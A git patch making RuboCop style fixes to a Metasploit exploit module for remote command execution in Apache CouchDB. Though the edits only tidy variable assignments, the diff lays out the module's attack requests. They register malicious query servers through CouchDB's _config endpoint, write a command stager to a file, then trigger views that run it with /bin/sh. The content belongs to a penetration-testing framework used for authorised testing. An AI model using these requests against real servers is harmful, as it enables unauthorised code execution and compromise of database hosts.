From 167745c1240f73c738efbeb4c49acfba86df14a3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 11 Jul 2018 22:49:13 -0500 Subject: [PATCH] Selectively add RuboCop fixes --- .../linux/http/apache_couchdb_cmd_exec.rb | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index d7b54ad5c9..9767ae7340 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -137,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'authorization' => @auth ) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError vprint_bad("#{peer} - Connection failed") return false end @@ -190,7 +190,6 @@ class MetasploitModule < Msf::Exploit::Remote payload2 elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") - end end @@ -205,27 +204,27 @@ class MetasploitModule < Msf::Exploit::Remote rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" @file_to_clean = rand_file - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, @@ -233,14 +232,14 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => %({"language":"#{rand_cmd1}","map":""}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, @@ -268,27 +267,27 @@ class MetasploitModule < Msf::Exploit::Remote ) node = res.get_json_document['all_nodes'][0] - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, @@ -296,14 +295,14 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth,